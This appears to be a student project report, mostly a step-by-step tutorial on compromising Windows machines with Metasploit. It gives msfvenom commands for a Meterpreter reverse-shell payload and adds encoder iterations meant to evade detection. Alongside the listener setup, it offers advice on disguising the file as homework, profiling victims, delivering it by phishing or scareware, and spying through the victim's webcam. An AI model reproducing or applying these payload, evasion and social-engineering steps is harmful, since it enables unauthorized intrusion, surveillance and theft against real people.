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    ABSTRACT 

 
Hacking windows is compromise between 

computer system(target)and software to access the 

target computer and steal or misuseor spy on them. 

The Malware and the attacker identify and exploit 

the vulnerability of the computer system to gain 

unauthorized access.To use the vulnerabiltiy of 

windows OS ,we are using Metasploit which suit to 

verify and exploit the vulnerabilites. To do this we 

will be using Metasploit reverse_tcp meterpreter  

payload  

 

The Metasploit framework is a very powerful tool 

which can be used by cybercriminals as well as 

ethical hackers to probe systematic vulnerabilities 

on networks and servers. Because it’s an open-

source framework, it can be easily customized and 

used with most operating systems. 
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              INTRODUCTION 

 
1.1What is Cyber Security? 

 
   Cybersecurity is the protection of computer 

systems and networks from information disclosure,theft 

of or damage to their hardware, software or electronic 

data as well as from the disruption or misdirection of the 

service they provide.It is otherwise known as Computer  

Security or Information Technology Security. 

 

 

IMPORTANCE OF CYBER SECURITY 

 

 User’s asset is protected against various cyber 

security risk and remain intact 

 The importance of ensuring protection from 

attacks,damage and authorized access 

network,computers and program equivalent to 

daily routine operation of an organization 

 Helping to understand the current trend in it and 

develop effective solutions. 

 Reducing vulnerability in information and ICT 

system and Networks. 
    



KEY ELEMENTS OF CYBER SECURITY: 

 Application security 

 Information security 

 Network security 

 Operation security 

 Disaster security 

 

   

1.2 What is Metasploit? 

   
 The Metasploit Framework is a Ruby-based, 

open-source framework that is used by information 

security professionals and cybercriminals to 

find, exploit , and validate system vulnerabilities. It 

is owned by Boston, Massachusetts-based security 

company Rapid7. 

 

What is Metasploit in cybersecurity?  

 
Metasploit is the world's leading open-source 

penetrating framework used by security engineers 

as a penetration testing system and a development 

platform that allows to create security tools and 

exploits. The framework makes hacking simple for 

both attackers and defenders 

  



EXPERIMENTAL OR MATERIALS 

AND METHODS REQUIREMENTS  

                     USED 
 

 

 
2.1. VIRTUAL BOX 

 
VirtualBox is an open-source application that allows 

users to run additional operating system environments 

from the desktop of their Macs or PCs. For example, a 

Mac user could set up VirtualBox to run Windows 7 and 

Windows XP alongside Mac OS X. 

 

USES OF VIRTUALBOX: 

 
 Oracle VM VirtualBox enables you to run more 

than one OS at a time. This way, you can run software 

written for one OS on another, such as Windows 

software on Linux or a Mac, without having to reboot to 

use it. 

 

ADVANTAGES: 

 
 Easy to use 

 Powerful 

 Control your resources more effectively. 

 Unparalleled community support 



2.2 KALI LINUX 

   
Kali Linux is a Debian-derived Linux distribution 

designed for digital forensics and penetration testing. It is 

maintained and funded by Offensive Security. 

 

 

USES OF KALI LINUX: 

 
Kali Linux is an open-source, geared towards 

various information security tasks, such as Penetration 

Testing, Security Research, Computer Forensics and 

Reverse Engineering.  

  

 

ADVANTAGES OF KALI LINUX: 

 
 More than 600 penetration tools included. 

 Adherence of file-system hierarchy standard. 

 Open development tree. 

 Multiple-language support. 

 Completely customizable. 

 Free (as in beer) and always will be. 

 Wide-ranging wireless device support  

  



SYSTEM REQUIREMENTS: 

 
• 2 GHz+ processor 

• Minimum 4 GB RAM, but 8 GB is recommended 

• Minimum 1 GB disk space, but 50 GB is 

recommended 

 

TOOLS USED 
 

• Kali linux (OS) 

• VirtualBox(Virtualization) 

 

 



                 Architectural Diagram 

 

             



CONFIGURING METASPLOIT: 

 Once you have downloaded Metasploit or if it’s your 

first time running the program we will need to configure 

your Metasploit database. To do so first open your 

command line/terminal and ensure your Metasploit is at 

the newest version by typing the following code: 

apt update; apt install metasploit-

framework 

Or if you are running an older version of Linux use: 

msfupdate 

This will check for and download any necessary updates. 

Once our Metasploit is up-to-date we need to create the 

database itself, so simply enter the command: 

msfdb init 

You may be prompted to create a password, don’t worry 

if you are not, as long as the database is successfully 

initialised you’re good to go. 

 

 



GENERATING  PAYLOADS: 

To find the correct payload for our attack we can 

search through Metasploit's current 1897 exploits and 

547 payloads using the search command. To view find 

more information on the parameters which the search 

command takes simply enter (In the Metasploit console): 

> search 

 

As you can see the above command outputs thousands 

of payloads we can use, even if we narrow down out 

search using: 

> search platform: windows type: payload 

port: tcp 

we still get way too many outputs. So when you are 

choosing your payload just take your time to search for 



some good working payloads. Here are two favourite 

windows payloads you may want to use: 

 windows/meterpreter/reverse_tcp 

 windows/vncinject/reverse_tcp 

                         we are going to use the 

‘windows/meterpreter/reverse_tcp’. However, we can 

aslo use ‘windows/vncinject/reverse_tcp’, which is similar 

but creates a VNC session which can be useful for 

viewing your targets desktop. 

Msfvenom // creating the payload 

Once you have found your desired payload, we must 

turn it into an executable file which the victim can run on 

the target machine to start the meterpreter session. To 

do so we must use ‘msfvenom’ which is Metasploit’s 

command for generating executable payloads. 

The command we can type to view more information on 

msfvenom is: 

msfvenom 

You should get something like this: 

 

  



 

Here we can see all of the different options you can use 

when using msfvenom. I’m not going to go through them 

all as most of them are self-explanatory. However, the 

parameters we are going to use are: 

 Payload (name of chosen payload). 

 Format (format of the output file, e.g. .exe or .pdf). 

 Arch (architecture of target, e.g x32, x64 or x86). 

 Other custom parameters like LHOST and 

LPORT. 

Before you can create the payload, you need to know the 

host IP (LHOST or listen host) and port (LPORT or 

listen port) that you are going to use. If your target is on 

the same network as the host then you can simply find 

your local IPv4 address using the following command: 

ifconfig 



However, please note if you wish to attack someone who 

is on a different network to the host machine you will 

need to port forward. I will not be covering this in this 

tutorial as this is a whole other topic. 

For the port you simply need to choose a port for the 

meterpreter to bind to. I am using port 4444 

Once you have decided which parameters you will 

use/need you can create a payload. For example here is 

the command I used: 

msfvenom --payload 

windows/meterpreter/reverse_tcp --arch x86 --

format exe LHOST=192.168.0.28 LPORT=4444 

> windowsMeterpreter.exe 

 

A successfully generated payload 

Once you have generated the payload the output file will 

be located in the current directory (directory which you 

were in when the command was executed), unless you 

specified a certain path. 

  



ENCODING PAYLOADS 

To encode your payload through metasploit we can 

simply add two extra parameters to our msfvenom 

command. The first one being ‘encoder’. We can view 

the available encoders to use for our target by using the 

following command: 

msfvenom --list encoders 

 

List of encoders currently available from Metasploit 



As you can see there are many encoders available to use. 

The output (as seen above) shows us the name, rank and 

description of the encoder. The one we will be using, 

and one of the most popular encoders is 

x86/shikata_ga_nai, as you can see this encoder is rated 

excellent and should do a great job. 

The second parameter we must add to our msfvenom 

command is ‘iterations’. This just simply means how 

many times the payload will be encoded. 

Once you have chosen your encoder and number of 

iterations your msfvenom command should look 

something like the following: 

msfvenom --payload 

windows/meterpreter/reverse_tcp --arch 

x86 --format exe --encoding 

x86/shikata_ga_nai --iterations 500 

LHOST=192.168.0.28 LPORT=4444 > 

windowsMeterpreter.exe 

If you execute the command, similar to  the finished 

payload shall be outputted to the current directory. 

  



Other techniques 

Some other techniques that are worth pointing out are 

basic things: 

 Don’t use stupid names → Please don’t use stupid 

names for your payload, because trust me, no one is 

ever going to run a file named 

‘SuP3r5ecRetV1RuS.exe’. Use something sensible 

and believable such as ‘BiologyHomework.pptx’ or 

‘PhotoshopHairBrush.abr’ 

 Use appropriate file extensions →  This happen 

many times too, and this is honestly sometimes one 

of the biggest give-a-ways there is something wrong 

with your file. Use the correct file extensions! For 

example, if your payload is inside a word document, 

make sure the extension is .docx not .rar or 

something. 

 Do a background check on your victim → Before 

you attack your victim do some background checks 

on them, this will greatly increase your chances of 

them opening the file. A common example is age, if 

your victim is a student, maybe try sending them 

some revision materials. 

 Use specific ports → We’re using port 4444 which a 

bad example as is known to be used by Metasploit. 



It is best to use ports which are not filtered out by 

the firewall. 

 

 

  



DELIVERING PAYLOADS 

Getting the payload on the victim’s machine 

we now have to get our ‘payload file’ onto our victim’s 

machine.Some methods you could try are as follows: 

 Via email → A phishing attack asking the user to 

download a file is a very successful and common 

example of getting a payload onto a victim’s 

machine. 

 Scareware → You could try using scareware to get a 

victim to download your file. For example, the 

classic: “A virus has been detected, update adobe 

flash player now !”. 

 Physical access → You could simply just plug a USB 

with the payload into the victim’s machine and 

execute the file. The only problem is you need 

physical access. 

  



OPENING METAPETER AND 

COMMANDS 

Configuring Metasploit 

If you have successfully gotten your payload on your 

victim’s machine, First, we must configure our 

metasploit to listen for out meterpreter in order to 

open a session. To do this start the metasploit 

console by using the command: 

msfconsole 

Once the Metasploit console has loaded up we must 

tell it to use the ‘multi/handler’ module so simply 

type: 

> use multi/handler 

If that was successful you should see the following: 

 

Metasploit console using multi/handler 

Once you have loaded the ‘multi/handler’ module, 

we must now tell Metasploit what payload we have 

used for our malicious file. To set the payload, use 

the command: 



> set payload 

windows/meterpreter/reverse_tcp 

Now we must set the LHOST and LPORT again 

for Metasploit to listen on. For this part make sure 

you ensure you use the same IP and Port we used in 

msfvenom when creating the payload. 

To set the LHOST use the command: 

> set LHOST 192.168.0.28 

To set the LPORT use the following: 

> set LPORT 4444 

 

Overall Metasploit console after configuration 

You can actually preview the changes we have set 

using the command: 

> show options 



 

Output of ‘show options’ 

Listening for the session 

Now we have configured Metasploit we need to tell 

it to listen for the payload in order to open the 

session. This section is very short as we simply have 

to use the command: 

> exploit 

Please note, if you get the following error: 

 

Bad port error 

This means the port we have chosen is in use, so 

you will need to go back and change the port. to 

bind to: <address>:<port>. As long as after this it 

states: 



 

Metasploit successfully listening 

This means Metasploit is listening for the 

meterpreter session to start. 

 

 

 

  



OPENING A BACKDOOR 

 

 Once we have set Metasploit to listen for our 

meterpreter session if our victim opens our file, this is 

what a successful connection should look like: 

 

A successful meterpreter session 

Meterpreter commands 

Now we have a successful meterpreter session on our 

victim, we are pretty much in control now. If you would 

like to view all of the available meterpreter commands 

you can simply type: 

> help 

 



 

 

 

 



 

 

 

As you can see there are a lot of commands  

 



> webcam_snap  

This takes a picture through the victim’s webcam, 

allowing you to spy on them. 

Similar: 

> webcam_stream 

allows you to stream a victim’s webcam and watch what 

they’re doing live! 

  



SOURCE CODE: 

  There is no source code.It is a procedure 

basessd project.It is also a part of cyber security. 

 

 

CONCLUSION: 

  Thus, the tool I have been implemented has 

been executed successfully. 
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